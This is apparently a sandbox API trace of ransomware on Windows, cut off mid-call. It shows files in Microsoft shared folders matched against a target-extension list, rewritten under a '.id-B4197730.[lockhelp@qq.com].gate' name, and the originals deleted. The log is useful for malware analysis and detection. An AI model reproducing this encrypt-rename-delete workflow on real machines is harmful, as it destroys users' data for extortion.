(lpString1=".dbf", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.302] lstrlenW (lpString=".1cd") returned 4 [0115.302] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.302] lstrlenW (lpString=".jpg") returned 4 [0115.302] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.303] lstrlenW (lpString=".doc") returned 4 [0115.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".docx") returned 5 [0115.303] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0115.303] lstrlenW (lpString=".pdf") returned 4 [0115.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".xls") returned 4 [0115.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".xlsx") returned 5 [0115.303] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0115.303] lstrlenW (lpString=".ppt") returned 4 [0115.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.303] lstrlenW (lpString=".zip") returned 4 [0115.303] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.303] lstrlenW (lpString=".rar") returned 4 [0115.303] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".bz2") returned 4 [0115.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString=".7z") returned 3 [0115.303] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.303] lstrlenW (lpString=".dbf") returned 4 [0115.303] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.303] lstrlenW (lpString=".1cd") returned 4 [0115.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.303] lstrlenW (lpString=".jpg") returned 4 [0115.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.304] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0115.304] lstrlenW (lpString="ipsen.xml") returned 9 [0115.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0115.307] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2578) returned 1 [0115.307] CloseHandle (hObject=0x308) returned 1 [0115.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0115.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.308] lstrlenW (lpString=".doc") returned 4 [0115.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.308] lstrlenW (lpString=".docx") returned 5 [0115.308] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0115.308] lstrlenW (lpString=".pdf") returned 4 [0115.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.308] lstrlenW (lpString=".xls") returned 4 [0115.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.308] lstrlenW (lpString=".xlsx") returned 5 [0115.308] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0115.308] lstrlenW (lpString=".ppt") returned 4 [0115.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.308] lstrlenW (lpString=".zip") returned 4 [0115.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.308] lstrlenW (lpString=".rar") returned 4 [0115.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.308] lstrlenW (lpString=".bz2") returned 4 [0115.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.308] lstrlenW (lpString=".7z") returned 3 [0115.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.309] lstrlenW (lpString=".dbf") returned 4 [0115.309] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.309] lstrlenW (lpString=".1cd") returned 4 [0115.309] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.309] lstrlenW (lpString=".jpg") returned 4 [0115.309] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.309] lstrlenW (lpString=".doc") returned 4 [0115.309] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString=".docx") returned 5 [0115.309] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0115.309] lstrlenW (lpString=".pdf") returned 4 [0115.309] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString=".xls") returned 4 [0115.309] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString=".xlsx") returned 5 [0115.309] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0115.309] lstrlenW (lpString=".ppt") returned 4 [0115.309] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.309] lstrlenW (lpString=".zip") returned 4 [0115.309] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.309] lstrlenW (lpString=".rar") returned 4 [0115.309] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString=".bz2") returned 4 [0115.310] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString=".7z") returned 3 [0115.310] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.310] lstrlenW (lpString=".dbf") returned 4 [0115.310] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.310] lstrlenW (lpString=".1cd") returned 4 [0115.310] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0115.310] lstrlenW (lpString=".jpg") returned 4 [0115.310] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.310] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0115.310] lstrlenW (lpString="ipsfra.xml") returned 10 [0115.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0115.311] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2628) returned 1 [0115.311] CloseHandle (hObject=0x348) returned 1 [0115.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0115.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.312] lstrlenW (lpString=".doc") returned 4 [0115.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".docx") returned 5 [0115.312] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0115.312] lstrlenW (lpString=".pdf") returned 4 [0115.312] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".xls") returned 4 [0115.312] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".xlsx") returned 5 [0115.312] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0115.312] lstrlenW (lpString=".ppt") returned 4 [0115.312] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.312] lstrlenW (lpString=".zip") returned 4 [0115.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.312] lstrlenW (lpString=".rar") returned 4 [0115.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".bz2") returned 4 [0115.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString=".7z") returned 3 [0115.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.312] lstrlenW (lpString=".dbf") returned 4 [0115.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.312] lstrlenW (lpString=".1cd") returned 4 [0115.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.312] lstrlenW (lpString=".jpg") returned 4 [0115.312] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.313] lstrlenW (lpString=".doc") returned 4 [0115.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString=".docx") returned 5 [0115.313] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0115.313] lstrlenW (lpString=".pdf") returned 4 [0115.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString=".xls") returned 4 [0115.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString=".xlsx") returned 5 [0115.313] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0115.313] lstrlenW (lpString=".ppt") returned 4 [0115.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.313] lstrlenW (lpString=".zip") returned 4 [0115.313] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.313] lstrlenW (lpString=".rar") returned 4 [0115.313] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString=".bz2") returned 4 [0115.313] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString=".7z") returned 3 [0115.313] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.313] lstrlenW (lpString=".dbf") returned 4 [0115.313] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.314] lstrlenW (lpString=".1cd") returned 4 [0115.314] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0115.314] lstrlenW (lpString=".jpg") returned 4 [0115.314] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.314] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0115.314] lstrlenW (lpString="ipshi.xml") returned 9 [0115.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0115.317] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2518) returned 1 [0115.317] CloseHandle (hObject=0x364) returned 1 [0115.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0115.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.317] lstrlenW (lpString=".doc") returned 4 [0115.318] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".docx") returned 5 [0115.318] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0115.318] lstrlenW (lpString=".pdf") returned 4 [0115.318] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".xls") returned 4 [0115.318] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".xlsx") returned 5 [0115.318] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0115.318] lstrlenW (lpString=".ppt") returned 4 [0115.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.318] lstrlenW (lpString=".zip") returned 4 [0115.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.318] lstrlenW (lpString=".rar") returned 4 [0115.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".bz2") returned 4 [0115.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".7z") returned 3 [0115.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.318] lstrlenW (lpString=".dbf") returned 4 [0115.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.318] lstrlenW (lpString=".1cd") returned 4 [0115.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.318] lstrlenW (lpString=".jpg") returned 4 [0115.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.319] lstrlenW (lpString=".doc") returned 4 [0115.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".docx") returned 5 [0115.319] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0115.319] lstrlenW (lpString=".pdf") returned 4 [0115.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".xls") returned 4 [0115.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".xlsx") returned 5 [0115.319] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0115.319] lstrlenW (lpString=".ppt") returned 4 [0115.319] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0115.319] lstrlenW (lpString=".zip") returned 4 [0115.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.591] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.591] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.633] GetLastError () returned 0x0 [0115.633] ReadFile (in: hFile=0x30c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x285, lpOverlapped=0x0) returned 1 [0115.635] WriteFile (in: hFile=0x358, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x290, lpOverlapped=0x0) returned 1 [0115.636] ReadFile (in: hFile=0x30c, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.636] WriteFile (in: hFile=0x358, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xea, lpOverlapped=0x0) returned 1 [0115.636] SetEndOfFile (hFile=0x358) returned 1 [0115.636] CloseHandle (hObject=0x358) returned 1 [0115.643] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.643] SetEndOfFile (hFile=0x30c) returned 1 [0115.644] CloseHandle (hObject=0x30c) returned 1 [0115.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x26) returned 1 [0115.644] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0115.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.761] lstrlenW (lpString=".doc") returned 4 [0115.761] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0115.761] lstrlenW (lpString=".docx") returned 5 [0115.761] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0115.761] lstrlenW (lpString=".pdf") returned 4 [0115.761] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0115.761] lstrlenW (lpString=".xls") returned 4 [0115.761] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0115.761] lstrlenW (lpString=".xlsx") returned 5 [0115.761] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0115.761] lstrlenW (lpString=".ppt") returned 4 [0115.761] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0115.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.761] lstrlenW (lpString=".zip") returned 4 [0115.761] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0115.761] lstrlenW (lpString=".rar") returned 4 [0115.761] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0115.761] lstrlenW (lpString=".bz2") returned 4 [0115.761] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0115.761] lstrlenW (lpString=".7z") returned 3 [0115.761] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0115.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.761] lstrlenW (lpString=".dbf") returned 4 [0115.761] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0115.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.762] lstrlenW (lpString=".1cd") returned 4 [0115.762] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0115.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.762] lstrlenW (lpString=".jpg") returned 4 [0115.762] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0115.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.762] lstrlenW (lpString=".doc") returned 4 [0115.762] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0115.762] lstrlenW (lpString=".docx") returned 5 [0115.762] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0115.762] lstrlenW (lpString=".pdf") returned 4 [0115.762] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0115.762] lstrlenW (lpString=".xls") returned 4 [0115.762] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0115.762] lstrlenW (lpString=".xlsx") returned 5 [0115.762] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0115.762] lstrlenW (lpString=".ppt") returned 4 [0115.762] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0115.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.762] lstrlenW (lpString=".zip") returned 4 [0115.762] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0115.762] lstrlenW (lpString=".rar") returned 4 [0115.762] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0115.762] lstrlenW (lpString=".bz2") returned 4 [0115.762] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0115.763] lstrlenW (lpString=".7z") returned 3 [0115.763] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.763] lstrlenW (lpString=".dbf") returned 4 [0115.763] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.763] lstrlenW (lpString=".1cd") returned 4 [0115.763] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0115.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0115.763] lstrlenW (lpString=".jpg") returned 4 [0115.763] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0115.763] lstrcmpiW (lpString1=".htm", lpString2=".gate") returned 1 [0115.763] lstrlenW (lpString="Orange Circles.htm") returned 18 [0115.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0115.958] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=237) returned 1 [0115.958] CloseHandle (hObject=0x370) returned 1 [0115.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0115.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 